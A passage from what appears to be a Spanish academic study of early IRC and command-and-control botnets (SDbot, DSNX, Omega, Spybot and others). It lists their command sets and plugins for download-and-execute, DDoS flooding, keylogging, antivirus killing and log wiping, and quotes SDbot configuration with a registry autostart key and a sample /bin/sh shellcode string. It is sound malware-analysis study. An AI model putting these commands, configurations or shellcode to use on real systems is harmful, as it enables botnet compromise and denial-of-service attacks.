Figura 4.1: Diferencias entre bot IRC y bot C&C IRC

Las diferencias entre uno y otro son meramente funcionales.



4.1 Los precursores. Bots IRC

Como antecedentes de los bots de comando y control, vamos a estudiar dos programas:

4.1.1 Coromputer_dunno

Es un bot de IRC muy simplificado y bastante fácil de estudiar, nos ayudará a

comprender:

• Cómo se realiza y se mantiene la comunicación con el servidor IRC.

• Cómo se establecen los parámetros de configuración del programa.

Sus características:

• Escrito en C

• Para sistemas *NIX, fácilmente portable a Windows.

• Bastante más simple que otros programas bot IRC para el estudio de las

comunicaciones con el servidor.

La estructura de una conexión con el servidor IRC típica es la que se muestra en la

figura:



Figura 4.2: Comunicación con el servidor IRC

Sin embargo, este bot más escueto en el manejo de las comunicaciones con el servidor,

ya que por ejemplo, no implementa acciones cuando recibe un mensaje privado.

Un ejemplo de cómo realizar dicha comunicación lo encontramos en las siguientes

líneas de código

Figura 4.3: Ejemplo de comunicación con el servidor IRC

Se trata del envío del comando NICK_USER y PING que corresponde con el primer y

segundo estado en la figura.

strcat(nick,NICK); // Introduce en la variable la cadena NICK strcat(nick,"\n"); // Añade retorno de carro send(sock,"USER X X X :X\n",14,0); //Lo envía al servidor recv(sock,buff,sizeof(buff),0); //Recibe lo que el servidor responda memset((void *)&buff,0,sizeof(buff)); //Limpiamos buffer send(sock,nick,strlen(nick),0); recv(sock,buff,sizeof(buff),0); strcat(ping,&buff[6]); //Enviamos el buffer strcat(ping,"\r\n"); // Junto con la cadena PING



Otro aspecto interesante a estudiar son las líneas de configuración del programa, en las

que definimos el servidor IRC, los archivos temporales de las acciones que realicemos,

así como el nick que queramos que tenga el bot:

Figura 4.4: Configuración del bot

Así pues, la simplicidad de este programa, nos sirve de lanzadera al estudio de otros

bots, ya que nos ayuda a comprender fácilmente como funcionan los bots.

4.1.2 Skydance

El siguiente programa es un poco más complejo que el anterior y ya posee algunas

características de bot de comando y control, sin embargo, no llega a entrar todavía en

esta categoría.

Se clasifica como un bot “dedicado”, está diseñado para cumplir una función especifica:

Realizar ataques de denegación de servicio distribuidos (Consultar anexo) usando

sockets RAW:

Figura 4.5: definición de Socket Raw

#define SERV "Geneva.CH.EU.Undernet.org" /* Don't forget to put the IRC server with his Upper Cases */ #define FILLE "lala.txt" /* temporary file where WHO list will be placed at the end it will be erased */ #define TIMEOUT 4 /* seconds */ #define LOG "log.txt" /* log file where results will be writed(when you dont use verbose mode */ #define NICK "ZaIrcBot" /* the nick of the bot */

Raw sockets Es un Socket que tiene la capacidad de comunicarse directamente con el hardware de comunicación del ordenador permitiendo al programa el acceso directo a todos los aspectos de los datos en el paquete. Raw Sockets permite al usuario personalizar varias características de estos paquetes, lo que incrementa la probabilidad de error, accidental o intencionadamente.



Entre sus características se encuentran:

• Usa el protocolo ICMP

• Incluye entre sus ataques SYN-ACK Flood y Simple ping flood attack

• No aparece cuando se realiza un netstat (por el uso del ICMP)

• No se detecta cuando se realiza un análisis de puertos (Usa RAW)

• Permite spoofing de IP en Win2k/XP

Actualmente se trata de un bot ya bastante obsoleto, las características de ocultación

fueron rápidamente subsanadas y no funcionan actualmente, aun así, nos es útil para

observar en este tipo de programas una evolución en cuanto la utilidad de los bots de

IRC para otro tipo de fines.

4.2 Los primeros bots C&C

Avanzando un poco en la complejidad de los programas, nos encontramos una gran

variedad de bots más enfocados al “control simple”, suelen ser poco complejos, con tan

sólo unos pocos comandos, que sin embargo, confieren un gran potencial de acción.

4.2.1 Microbot

Posee tan sólo cuatro comandos:

• .login <password> - Registro como dueño del bot

• .die – Desconecta el bot del IRC y mata el proceso

• .raw <commands> - Envía un texto RAW al servidor IRC

• .run <file> - Descarga y ejecuta un archivo desde una Url o un comando DOS

Características:

• Empaquetado UPX

• Pequeño tamaño: 14 Kb

• Posibilidad de ejecutar y descargar programas

• Para entornos Windows



Figura 4.6: Definición de UPX

Sin embargo, a pesar de su corto número de instrucciones, puede volverse un arma

extremadamente potente: Su pequeño tamaño y la posibilidad de descargar y ejecutar

instrucciones desde una dirección, permitiría a un atacante con la suficiente experiencia,

tener un control absoluto de la máquina.

Este bot no provee de su código fuente, toda la configuración se realiza a través de un

archivo ejecutable de configuración:

UPX

UPX (Ultimate Packer for eXecutables) es un empaquetador de ejecutables gratuito, portable y de alto rendimiento. UPX soporta diferentes formatos de ejecutables, incluyendo programas de Windows 95/98/ME/NT/2000/XP y DLLs, programas de DOS, Linux, etc.

• Excelente relación de compresión: típicamente comprime mejor que el WinZip/zip/gzip.

• Descompresión muy rápida: ~10 MB/s en una Pentium 133, ~200 MB/s en un Athlon XP 2000+.

• Universal: UPX puede empaquetar muchos formatos de ejecutables. • Portable • Libre: UPX es distribuido bajo la GNU General Public License. [11]



Figura 4.7: Configuración de Microbot

4.2.2 G-spot

Incluye un archivo de configuración en modo grafico y bastante intuitivo, sin

embargo, tampoco provee de código fuente.

Figura 4.8: GUI de Gspot



Aunque no posee la habilidad de infectar equipos y análisis de vulnerabilidades, cuenta

en su versión más avanzada (hemos encontrado dos versiones distintas, la primera

bastante simple), con la posibilidad de visitar una URL determinada o enviar ataques

SYN Flood:

La lista de comandos:

Figura 4.9: Comandos G-spot

Comandos: !LOGIN <password>. Autorización para uso del bot !LOGOUT <password> Logout de la botnet. !OPME El bot te conceda privilegios en el canal !VERSION Devuelve la versión del bot. !IP Devuelve la dirección IP del bot. !LOCK Bloquea todos los comandos menos !UNLOCK !UNLOCK <password> Desbloquea el bot. !JOIN ; <#channel> Une al bot a un canal. !SAYIT ; <anything> Interactúa en el canal !BOTOFF Elimina el bot hasta el próximo reinicio del sistema !KILLBOT Elimina el bot completamente. !CDOPEN Abre el CD-Rom. !SHUTDOWN Reinicia el PC de la víctima. !RAW ; <IRC COMMANDS> Envía comandos RAW al servidor IRC. !ICQ ; <ICQNumber>. Envía Información del bot al ICQ especificado !VISIT ; <WEB URL> Hace que la víctima visite la URL especificada !FLOOD;<size of packets>;<seconds to flood>;<IP to flood>



Figura 4.10: Gspot en acción

Siguiendo esta línea, todos los bots que no distribuyen su código fuente, son parecidos a

estos dos: un archivo de configuración que genera un ejecutable infectado con el bot que

tenemos que distribuir de diversas maneras (no se expande automáticamente usando

vulnerabilidades)… En este grupo se encuentran: nuclearbot, skatanbot y una larga

lista…



4.2.3 Leechbot 2.0 VB

Uno de los pocos bots que no escritos en C/C++ (aparte de algunos escritos en ASM

muy básicos y muy reducidos en tamaño como Airbot). Posee bastantes e interesantes

funcionalidades:

• Escrito en Visual Basic

• Plataformas Windows

• Se extiende usando las vulnerabilidades Dcom3/webdav/mydoom/radmin

• Es indetectable para ciertos antivirus

• Dice ser el doble de rápido en las descargas y haciendo Synflood que otros bots

• Usa empaquetamiento UPX

Los comandos, se reducen a:

• .login pass: Autorización para el uso del bot

• .settarget c:\file.exe

• .download http://www.fileserver.nl/file.exe: Descarga un archivo desde un URL

• .execute c:\file.exe:Ejecuta un archivo

• .setsynport 80: Establece el puerto para realizar el ataque Synflood

• .syn 127.0.0.1: Realiza un ataque Synflood

• .quit :Sale del IRC

Como ocurre con otros bots, la característica de descarga y ejecución de archivos hace

este bot considerablemente versátil a pesar de su simplicidad.

Nos encontramos aquí con el primer bot que hace uso de los “spreaders”, sin embargo,

el código liberado por el autor no contiene estos módulos por motivos de seguridad.

Estas características las veremos con detalle posteriormente en otros bots.

4.2.4 Data Spy Network (DSNX)

Uno de los bots más modulables y con el código fuente mejor comentado. Aun no

permite (por defecto) la expansión en base de vulnerabilidades en los sistemas, pues está



más orientado al ataque y explotación de usuarios en IRC que a la creación de grandes

redes bots, por lo tanto su expansión se debería realizar de forma manual. Sin embargo,

como hemos resaltado, al ser tan fácil añadirle nuevas funcionalidades, resultaría

relativamente sencillo incorporar estos mecanismos.

Data Spy Network, recoge algunas funcionalidades del mítico Back Orifice 2000

(BO2K). Escrito en C++ y compilado en MS Visual C++ 6.0, funciona para plataformas

Windows exclusivamente, fue lanzado en el año 2001.

Se encuentran dos versiones con el código fuente disponible. La primera de ellas (0.4b)

posee las siguientes características:

• Keylogging

• Envío DCC Send

• Borrado de archivos

• Port Scanner

• Consulta de UpTime (tiempo que ha estado conectado el bot al canal)

• Descargas desde un servidor Web

• Permite listar directorios remotamente

• Bases de datos de nicks

• Permite almacenar una lista de servidores

• Clone Flooding

• Datos de usuarios cifrados (128bits)

• Características de mostrado al usuario mejoradas

• Marcado especial para errores en los bots

Al compilar el código fuente del bot, se crea un editor gráfico (dsnxeditor.exe) en el que

se establecen los parámetros de configuración del bot:

• Servidor IRC y puerto

• Canal y contraseña

• Configuración de la respuesta de los bots (canal, privado o notice)

• Contraseña

• Enmascaramiento

• Empaquetamiento con UPX



Figura 4.11: GUI Del bot Data Spy Network 0.4b

Los comandos que podemos usar son:

Loggin-In: Simplemente introduce la contraseña para la autentificación. Loggin-out: <PREFIX> L Listado de directorios:

<PREFIX>Y Directorio *<MAX_RESULTS> MAX_RESULTS: Máximo número de ficheros a listar Información del manejador de la entrada/salida: <PREFIX>I Inicia una redirección de puertos <PREFIX>P <puerto_origen> <dirección _ destino> <puerto_salida> Detiene redirección de puertos <PREFIX>P *Texto Detiene sólo el que coincida con el patrón <PREFIX>P Detiene todas las redirecciones de puerto Creación de un Bot principal <PREFIX>M <#canal> <servidor_irc> *<puerto> <PREFIX>M <#canal y clave> <servidor_irc> *<puerto> Saliendo/Reiniciando DSNX <PREFIX>Q *<Segundos_hasta_reentrada> Enviando Comandos IRC al bot principal <PREFIX> R <“Comando”>



Figura 4.12: Comandos de DSNX

Cambio de NICK <PREFIX>N <*Longitud_nick> nota: Para cambiar la longitud máxima de los nicks de los bots (por defecto 9) se debe especificar en la longitud Ejecuta programa local remotamente <PREFIX>E <ruta_del_programa> Descarga archivo desde un servidor web <PREFIX> W http://www.server.com/directorio/archivo.exe *<Texto para detener ejecución> Desinstalación de DSNX de la maquina remota <PREFIX> Z nota: debe hacerse dos veces para la confirmación Listado de comandos del servidor: Cuando se conecta a un servidor de la lista de servidores, el primer servidor es elegido al azar, después la lista se repetirá cíclicamente hasta que se establezca una conexión. Se hará un máximo de 4 ciclos antes de dejar de intentarlo #Crea Lista_servidores_nueva <PREFIX>S N *<Numero_Lista> Servidor1 Servidor2 Servidor3…[max 35] nota: Si no se especifica el número será usado el siguiente disponible #Muestra información de las listas <PREFIX>S I Comandos Clone/Floodbot 1:CTCP 2:JOIN/PART 3:Large blocks of random text 4:DCC Send Flooding 5:Nick Flooding #L-Carga/Crea Floodbots/Clones <PREFIX>C L <Número_a_cargar> *<Servidor> *<Puerto> nota: Si el servidor o el puerto no son especificados, se usara el servidor de controles de bot actual #K-Kill Floodbots/Clones <PREFIX>C K *<Match_Text> #G-Empieza el Flood (Go) <PREFIX>C G <Objetivo> *<Tipo de Flood> *<Texto> Nota: Para los usuarios sólo funcionaran los tipos 1 y 3 <PREFIX>C G #<Canal_Objetivo> *<Tipo de Flood> *<Texto> nota: Tipo de Flood por defecto: CTCP Flooding #S-Detiene el Flood <PREFIX>C S *<Texto> #T-Cambia objetivo <PREFIX>C T <Objetivo> *<Texto> #X-Cambia el tipo de Flood <PREFIX>C X <Tipo> *<Texto> #R-Envía comando IRC <PREFIX>C R <"Comando" >*<Texto>



La variedad de comandos y funciones es más amplia que la de cualquier bot estudiado

anteriormente, con lo que se eleva la complejidad del mismo.

Un breve análisis de estructura de clases del bot revela que al descomprimir el archivo

de código fuente, se encuentran dos directorios que constituyen los dos proyectos de la

solución de Visual C++ 6.0:

• EditServer: Incluye los archivos de código fuente para la Interfaz de

configuración del bot, así como el empaquetado UPX. Esta parte realmente no

nos interesará demasiado en un principio.

• Server: Es el código fuente del bot propiamente dicho. Para comenzar, se

estudian las estructuras de las clases incluidas en los archivos de cabecera

centrándonos en las que nos parezcan en un principio más importantes. Luego

en siguientes capítulos se comenta el código fuente desarrollado de alguna de

ellas.

El diagrama UML de la estructura de clases es:



Figura 4.13: Diagrama de clases

Los archivos de código más interesantes en esta versión son: Keylogger.cpp (no aparece

en la figura anterior, ya que no contiene clases propiamente dichas) y Portscan.cpp.

Como curiosidad, en la lista de comandos de esta versión, no se especifica

explícitamente los comandos para comenzar la captura de teclas ni el análisis de puertos,

sin embargo, si viene implementado en el código fuente, estando definido <PREFIX>

K para comenzar el keylogging y <PREFIX> A para el análisis de puertos.

Por otra parte, uno de los archivos más importantes en la estructura del bot es BotAI.cpp,

este se encarga de:

• Control del bot.

• Comunicación con el canal IRC y la casuística de los comandos que introduce

el usuario.

Además se introduce código fuente para futuras ampliaciones, como puede ser el

comando ‘visitar’ (v) para ordenar a los bots visitar un sitio Web determinado.



La segunda versión y última versión de DSNX, es la 0.5 beta:

Esta versión fue lanzada el 1 de abril del 2002, es destacable que el autor cambiara la

filosofía del bot, orientándola hacia el mundo empresarial como una herramienta para el

control remoto de sistemas que como un bot de Internet:

Figura 4.14: Comentario del autor del archivo Readme.txt del bot DSNX

Incluso es necesaria una licencia para “ejecutar” el bot, por tanto no se incluyen los

archivos de proyecto de MS Visual C++, por el contrario el código fuente sigue siendo

distribuido libremente.

Se añaden nuevas características al bot, quizás la más reseñable es la mejora de la

interfaz de plug-ins, que permite una mayor modularidad.

En principio, la interfaz de configuración no se modifica demasiado, permite las mismas

opciones de configuración que su versión anterior:

“DSNX is an advanced, open source, modular, non-interactive IRC client (An irc robot). It provides the subsystem for a versatile internet technology deployment across multiple systems. Through the patented DSNX technology dataspy dot net INC can provide your fortune 500 company with the ultimate solution.”

“So sit back, relax and learn how you can use DSNX technology in your business today!”



Figura 4.15: GUI del bot DSN versión 0.5b

Se agregan nuevos comandos:

Definir un nuevo prefijo Define un nuevo prefijo, requerido para todos los comandos, si no se especifica, no se necesitará prefijo. Esta opción no es recomendable, ya que no se podría distinguir entre los comandos y la conversación en un canal. <PREFIX>set <prfx> <prefix> Personalizado – Añade plugins personalizados Ej: "plugins add *.dsnx" Logins simultáneos- Máximo numero de logins simultáneos por bot principal (mainbot). <PREFIX>set mlgn number Respuesta Respuesta a un canal a un notice o a un query <PREFIX>set rptc 'c' or 'n' or 'q' Descifrado Descifra un texto previamente cifrado <PREFIX>D ENCRYPTED_TEXT Ej: .D ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 <Dclient> OUTPUT_IS_VARIABLE



Login: Identifica un usuario en un cliente DSNX El cliente DSNX comprobará la contraseña suministrada para el administrador y los usuarios normales, si coincide, identificará al usuario en el nivel que le corresponda. <PREFIX>login password Cifrado – Cifra un texto Usa una encriptación de 128 bits, añade el checksum y lo convierte en formato hexadecimal, que permita ser transmitido por IRC. <PREFIX>E TEXT_TO_ENCRYPT Ej: .E "r PRIVMSG #channel: Unencrypted" <Dclient> USER-C[1O]3[brQf42dAtA2x[I^bjW]]tKv3l98E43MW{Sl84tO}0G0Ov]p]d}pv3K^nv{0CdWj5[ Info - Estadísticas del cliente DSNX actual.. <PREFIX>Info Reply: (version up 000:00 on winxx with xx threads) Incluye la versión, cuanto lleva el proceso ejecutándose, el sistema operativo y el número de hilos en el cliente. Log out Sale del cliente DSNX <PREFIX>logout Plugins Instala plugins <PREFIX>Plugins add search_mask Busca en la ruta especificada e intentara cargarlos. No cargará plugins más de una vez. Eg: <prefix>plugins add c:\*.dsnx <prefix>plugins add *.dll Desinstala el plugin especificado <PREFIX>Plugins unload nombre Eg: <prefix>plugins del "portscan v2" Muestra los plugins cargados y las funciones que provee <PREFIX>Plugins lista webdl Descarga un archivo de un servidor http <PREFIX>webdl url <archivo> Descarga la url y si lo salva en <archivo> si se especifica, de lo contrario, elige un nombre aleatorio con la misma extensión que la descargada. Run Ejecuta un archivo en la maquina del cliente DSNX <PREFIX>run file



Figura 4.16: Nuevos comandos DSN

Alias Manejo de los alias <PREFIX>alias new alias_name alias_specs Alias_name Debe ser único y no debe contener espacios. Ej: Alias new mmmk "raw privmsg $chan :$user type $prfx $+ mmk $1" Elimina un alias <PREFIX>alias del alias_name portr Maneja la redirección de puertos/proxys <PREFIX>portr new in_port <server> <out_port> Si <server> y <out_port< no son especificados, crea un proxy http en <in_port>, de otra manera, crea una redirección simple en <in_port> al puerto <out_port> del servidor <server> Elimina el proxy o la redirección de puerto de <listening_port> <PREFIX>portr del listening_port Md5 Calcula el hash md5 del parámetro <PREFIX>md5 string Devuelve el hash md5 de la cadena Visita Visita la url destino <PREFIX>visit url referrer host Url: URL del servidor URL Referer: Lo que quieras poner en el campo “referer” en la petición Host: El Host al que conecta en el puerto 80, así como el Host en el campo Host de la petición Ej: http://www.microsoft.com/all_about_ms.html Refered desde: http://www.dataspy.net seria: <prefix>visit /all_about_ms.html http://www.dataspy.net www.microsoft.com Set Actualiza los nuevos valores <PREFIX>set setting_name <new_value>



Este bot incluye por defecto una serie de plugins:

• DDOS: Este plugin permite realizar denegaciones de servicio distribuido contra

un objetivo concreto, esta funcionalidad no es encontraba implementada en la

versión anterior, se observa, por tanto un interés por aumentar la “peligrosidad”

del bot.

Uso:

ddos udp <ip> <seconds delay(ms)> Envía paquetes de DDOS UDP a la IP de

destino cada <seconds> milisegundos.

ddos tcp <ip> <port> <seconds delay(ms)> Envía paquetes de DDOS TCP al puerto

<port> de la <ip> de destino cada

<seconds> milisegundos

ddos stop: Detiene el DDOS

Figura 4.17: Plugin DDOS para DSNX

• HTTP: Simplemente ejecuta un servidor apache oculto en el puerto que le

especifiquemos.

Uso:

Figura 4.18: Plugin HTTP para DSNX

webserver open <port> <root> Crea el servidor en el puerto especificado,

<root> es la ruta que en la que queramos

instalarla, por defecto “c:”

webserver close Desinstala el servidor Web



• Portscan: Análisis de puertos.

Uso:

portscan start <ip_range><ports> Comienza el análisis en el rango de IP´s indicada

portscan random

<number_of_subnets>< ports>

Análisis aleatorio

portscan stop <scan_id> Detiene el análisis indicado

portscan pause <scan_id > Pausa el análisis

portscan list Muestra una lista con todos los análisis activos

portscan info <scan_id> Muestra la información del análisis <scan_id>

portscan stop_all Detiene todos los análisis activos

portscan set_delay <delay> Establece un nuevo valor de retraso en el análisis

Figura 4.19: Plugin de análisis de puertos para DSNX

Es curioso observar que el comando de análisis de puertos (en la versión anterior venia

implementada, pero no comentada en la documentación) se incluye como plugin externo,

por lo que se puede deducir que quizás el autor, en un principio no estaba demasiado

convencido de introducir un port-scanner en la base del código fuente del programa.

En esta versión , se aumenta la versatilidad del bot, así como las características que

podemos considerar “peligrosas”, sin embargo, no posee aun métodos de infección y

expansión aprovechando las vulnerabilidades de los sistemas objetivos.

4.2.5 Omega Project:

Se encuentran disponibles dos versiones para su estudio, vamos a centrarnos en la 2.0,

que incluye herramientas y métodos de expansión que la primera no posee. Entre sus

características, reseñamos:



• Portabilidad: Funciona tanto en entornos Windows como *NIX

• Escrito completamente en C

• Apto para el estudio. Código claro, bien estructurado y no demasiado extenso

• Provee una API de funciones para programar módulos

Este bot incluye entre sus funcionalidades:

• Permite descargar desde una URL especifica

• Ejecución de comandos en el host remoto

• Expansión utilizando vulnerabilidades de NetBios

• Protección contra los antivirus

• Permite limpiar logs

• Creación de servidores SOCK4

• Inyección de código en memoria

Entre las características de este bot es interesante reseñar que es el primer bot con

código fuente disponible que estudiamos que es capaz de expandirse (en este caso sólo

usando vulnerabilidades de Netbios) y además posee protección contra programas que

intenten detectarlo.

Los comandos para el manejo de este bot:

Command

[PUBLIC] El Comando puede ser ejecutado antes

del login

[LOGIN] El comando será ejecutado después del

login

[SU] El comando puede ser ejecutado después de

estar “sued”

[module.m] El comando requiere la carga del

modulo module.m.

[WIN32] El comando sólo funcionara bajo WIN32

[UNIX] El comando funcionara sólo bajo UNIX



.hash <password> [PUBLIC] Genera el hash basado en tu nick,

usuario, host y la contraseña que se especifique.

Mientras tu nick, usuario y host no cambie, no es

necesario actualizarlo.

.login <hash> [PUBLIC] Identifica al bot con el hash que le envías

como parámetro, el bot generara el suyo propio

basado en tu nick, usuario y la contraseña

especificada en el archivo de compilación,

comparará los dos hash para autorizarte.

.su <hash> [LOGIN] Hace un “su” al bot con el hash que le

especifiques. Trabaja de la misma forma que “login”

posee más comandos.

.quit [SU] Hace que un bot salga del canal

.dl <url> [SU] descarga un archivo desde la URL

especificada, debe ser del formato:

http://www.direccion.com/archivo.exe o en un

subdirectorio.

.rm [SU] Elimina el bot de la máquina remota.

.version [PUBLIC] Versión del bot.

.uptime [PUBLIC] Tiempo total que lleva el bot

ejecutándose.

.update <unix|win32> <url> [SU] Descarga el archivo especificado en la URL y

actualiza el bot. El bot antiguo se borra. No deben

coincidir los nombres de ambos.

.exec <command> [SU] Ejecutará el comando en el sistema

comprometido.

.raw <command> [SU] Envía el comando especificado al servidor IRC

.nb <start|stop> <ip_addr> [nb_spread.m] [LOGIN] [WIN32] Comienza o

detiene el análisis de recursos compartidos

NETBIOS abiertos.

.kav [kav.m] [SU] [WIN32] Elimina todos los procesos y

servicios que coincidan con alguno de los nombres



que aparecen en el archivo kav.c. También los

marca para ser borrados, por lo tanto no se

volverán a ejecutar al reiniciar.

.kl <application|security|system> [kl.m] [LOGIN] [WIN32] Limpia el log que

especifiques de una de las tres posibles elecciones.

.help Muestra los comandos disponibles para los

diferentes niveles de autorización.

.socks4 <start|stop> [socks4d.m] [LOGIN] Ejecuta un servidor SOCKS4

en el puerto 1080.

.sc <data> [SU]Inyecta la cadena de datos en la memoria para

la ejecución por el procesador. Los datos necesitan

ser pasados en hexadecimal Un ejemplo seria:

.sc

\x31\xC9\x31\xDB\x6A\x46\x58\xCD\x80\x51\x68

\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x51

\x53\x89\xE1\x99\xB0\x0B\xCD\x80

El shellcode está limitado por el buffer máximo de

mensajes del servidor.

Figura 4.20: Comandos del bot Omega



Bot Número de

comandos

Lenguaje Características destacables

Microbot 4 C Pequeño tamaño

UPX

Descarga y ejecuta

G-Spot 17 C SynFlood

Visita Http

Leechbot VB 8 Visual Basic Descarga y ejecución

SynFlood

“Spreaders” ()

Data Spy Network 22 C Redirección/análisis de puertos

Keylogging

Clones

Ejecución en equipo remoto

Flood

Cifrado

Plugins

Omega Project II 18 C Ejecución

Descarga

Protección antivirus

“Spreaders”

Sockets

Tabla 4.1: Características de los primeros bots C&C



Capítulo 5

Las grandes Familias Bot

Sin duda, cuando nos referimos a de bots, son cinco las versiones (o subversiones

derivadas a partir de ellas) las que encontramos más frecuentemente. Son también, por

tanto, las más estudiadas por las compañías de seguridad y ante las que existen más

parches, heurísticas de detección y protección.

Cada familia posee sus propias características: Parten de bases diferentes y están

desarrollados por diversos autores. En la mayoría de los casos, aunque la base del bot,

esté realizadas por un desarrollador o grupo de desarrolladores en particular, cada

familia cuenta con una enorme cantidad de versiones diferentes o modificaciones

(denominadas MOD´s) elaboradas por programadores ajenos al grupo primigenio que

diseñó la aplicación.

En este apartado se ha realizado lo siguiente:

• Clasificado las familias,

• Determinado el número de versiones de cada uno.

• Seleccionado los mod´s de cada una que nos parecieran más interesante e

innovadores

• Realizado un orden cronológico en cada familia con las características y

funcionalidades añadidas en cada una de las versiones

Existen cinco “familias” de bots: Spybot, SDbot, Rbot, Phatbot/Agobot y GTBot. De

todas se hará un estudio minucioso excepto de la última de ellas, que aunque

comentaremos sus características, se aleja de la finalidad del estudio en profundidad

objeto de este proyecto:



5.1 SDbot

Se comienza el estudio de las grandes familias de con Sdbot, ya que es uno de los bot

menos complejos a la vez que muy distribuido y por lo tanto más apto para ser

estudiado en primer lugar.

Realizado por [sd], el núcleo de la distribución se basa en dos versiones distintas, 0.4 y

0.5 cada una poseen distintos módulos con varias funcionalidades.

Existen además una serie módulos, como es el caso de G-sys 3.0, basados en Sd, que no

poseen por si mismos suficientes diferencias para considerarlo una nueva familia de

programas, por lo que tras analizar las dos versiones, también se estudiará en este

apartado.

5.1.1 Versión 0.4

Sólo se ha encontrado la versión 0.4b (Enero 2002), por tanto la tendremos que tomar

como referencia para el estudio del bot. Es de suponer que pueda existir alguna anterior

en la red.

• Liberada en Enero del 2002

• Escrito en C++

• No posee interfaz gráfica. cualquier cambio que deseemos realizar, se tendrá que

realizar editando manualmente el código fuente y recompilando el bot

• Compila en Visual Studio o Lcc

• Se provee del empaquetador UPX

Un ejemplo de las cabeceras de configuración:



Figura 5.1: Configuración del bot sdbot

Como se observa en este fragmento de código, se permite configurar todos los

parámetros del programa:

Los primeros #define nos permite activar o desactivar alguna de las funcionalidades del

programa, por defecto, el autor ha optado por no permitirlas, ya que, como se

comprueba en el laboratorio, no están demasiado depuradas y hacen ser inestable al bot.

Las siguientes líneas de configuración del bot nos permiten:

• Establecer identificadores para el bot, es decir el nick

• Establecer el servidor IRC

• Qué canales usaremos

// #define NO_SPY // disables irc spy // #define NO_UDP // disables UDP packet sending // #define NO_PING // disables ping semdomg // #define NO_SYSINFO // disables system info // #define NO_REDIRECT // disables port redirect // #define NO_DOWNLOAD // disables downloading/updating // #define NO_CHECKCONNECTION // disables check for internet connection // macro for predefined aliases. #define addpredefinedaliases() \ addalias("opme", "mode $chan +o $user"); \ addalias("smack", "action $chan smacks $1"); \ addalias("u1", "udp $1 10000 2048 50"); \ addalias("u2", "udp $1 10000 $2 50"); \ addalias("halfop", "mode $chan +h $1"); // bot configuration const char botid[8] = "sdbot1"; // bot id const char password[16] = "bleh"; // bot password const int maxlogins = 4; // maximum number of simultaneous logins const char server[32] = "irc.lcirc.net"; // server const int port = 6667; // server port const char serverpass[16] = ""; // server password const char channel[16] = "#sdbot"; // channel bot should join const char chanpass[1] = ""; // channel password const BOOL rndfilename = FALSE; // use random file name const char filename[16] = "loadcfg32.exe"; // destination file name const char keyname[64] = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"; // registry key for autostart const char valuename[32] = "Configuration Loader"; // value name for autostart const char prefix = '.'; // command prefix (one character max.) const int cryptkey = 0; // encryption key (not used right now) const int maxaliases = 16; // maximum number of aliases (must be greater than the number of predefined aliases)



• Definición de las contraseñas para el acceso y el manejo del bot

• Nombre y ruta del servicio para el inicio automático en el sistema

Las novedades y funcionalidades destacadas que ofrece este bot en esta versión son:

• Ejecución de programas en el host remoto de manera visible o invisible

• Uso de clones

• Descarga/actualización de programas

• Envío de Ping y de paquetes UDP

• Redirección de puertos

• Consulta de la información del sistema del host remoto

• Uso y definición de alias

Para consultar los comandos de sdbot, ver anexo A.

5.1.2 Versión 0.5

Es la más frecuente de las dos, se encuentran dos subversiones 0.5a y 0.5b, siendo esta

última la que contiene más modificaciones (MOD´s).

La primera de ellas (Marzo del 2002), apenas varía de la versión 0.4:

• Se bifurca el comando sysinfo en netinfo, encargándose este último

exclusivamente de la información de las conexiones de redes (IP, tipo de

conexión, tiempo conectado…)

• Se corrigen algunos fallos en módulos de la versión anterior como por ejemplo,

los ataques de denegación de servicio o la resolución DNS

Sin embargo con la aparición de la subversión 0.5b empiezan desarrollarse la mayoría

de las mejoras y de los mod´s con nuevas características.

La versión 0.5b (Abril 2002) incorpora las siguientes novedades:

• Permite compilación en Mingw32

• Mejor funcionamiento en Windows NT



• Muestra información de los Service Packs instalados

• Se mejora la estabilidad en general

• Se añade la posibilidad de establecer un canal de ‘backup'

Aparte de esto, se añaden nuevos comandos (para la lista completa de comandos de

este bot, consultar el anexo A):

Comando alias Sintaxis Descripción Ejemplo

dns dn dns Resuelve una dirección

IP

Address. <[sd]> .dns

www.google.com

<sdbot> www.google.com-

>216.239.33.101

open o open <file>

Ejecuta un archivo en el

ordenador remoto. Puede

abrir cualquier tipo de

archivo o Web

remotamente.

<[sd]> .open

c:\windows\clouds.bmp

<sdbot> file opened.

visit v visit <url>

[referer]

Visita la URL

especificada

<[sd]> .visit

http://www.google.com/

http://www.wintermarket.org/

<sdbot> site visited...

delay de

delay

<seconds>

<command>

Ejecuta un comando

determinado pasado una

serie de segundos.

< [sd]> .delay 10 .quit

[10 seconds later...]

* sdbot has quit (later).

Figura 5.2: Nuevos comandos versión 0.5



Otros mod´s de terceros desarrolladores que añaden características reseñables son:

• Sdbot 0.5b-ago: Añade comandos obtener claves de algunos juegos (Warcraft 3,

Half-Life, Neverwinter Nigth)

• Sdbot 0.5b-AE: Incluye un Inyector para el explorador de Windows a modo de

Rootkit. Escrito en ensamblador

• Sdbot 0.5b syn mod: Se añade un comando para realizar ataques de denegación

de servicio mediante SYN-Flood.

Sintaxis: syn <target IP> <target port> <length in seconds>

5.1.3 G-sys 3.0

Características:

• Creado por netw3rm y xyclone,

• Liberado en Agosto del 2003, casi un año y medio despues la versión 0.5b,

xyclone adapta este programa añadiendo caracteristicas de los bots

contemporáneos, es por ello que no comparta las mismas funcionalidades.

• No tiene referencia de comandos, el código fuente está bastante bien comentado.

• En general esta versión añade “spreaders” (programas para la expansión del bot)

así como nuevos ataques por denegacion de servicio.

Nuevas funcionalidades:

• Netbios spreader

• Kuang2 spreader

• Sub seven spreader

• IM spreader ( a través de mensajería instantánea)

• Analizador de puertos

• Ataques de denegación de servicio usando BONK, JOLT, IGMP, así como el ya

añadido anteriormente SYN flood attack.



5.2 Spybot

Programado por mich, en el que es, según sus propias palabras, su primer programa

completo en C, posee muchas características y versiones distintas. Tanto de su propio

autor como de terceros.

Se analiza en primer lugar la primera versión del programa para ir avanzando tanto en

modificaciones posteriores como en nuevas características que se le añadan.

5.2.1 Versión 1.1

Características:

• Liberada en marzo del 2003

• Código bastante fácil de leer y entender y bien estructurado

• Compilación correctamente probada en Visual C y Lcc. Se incorpora un archivo

por lotes que genera el ejecutable de manera automática

• La configuración del bot, se realiza a través de un fichero de cabecera externo.

(settings.h). No incorpora GUI

La primera versión, posee en principio las siguientes funcionalidades y novedades

reseñables:

• Keylogger: Tanto online como offline

• Lista de procesos, pudiendo incluso “matar” procesos

• Eliminador de Antivirus y Firewall

• Listado de directorios

• Comandos RAW en un servidor IRC

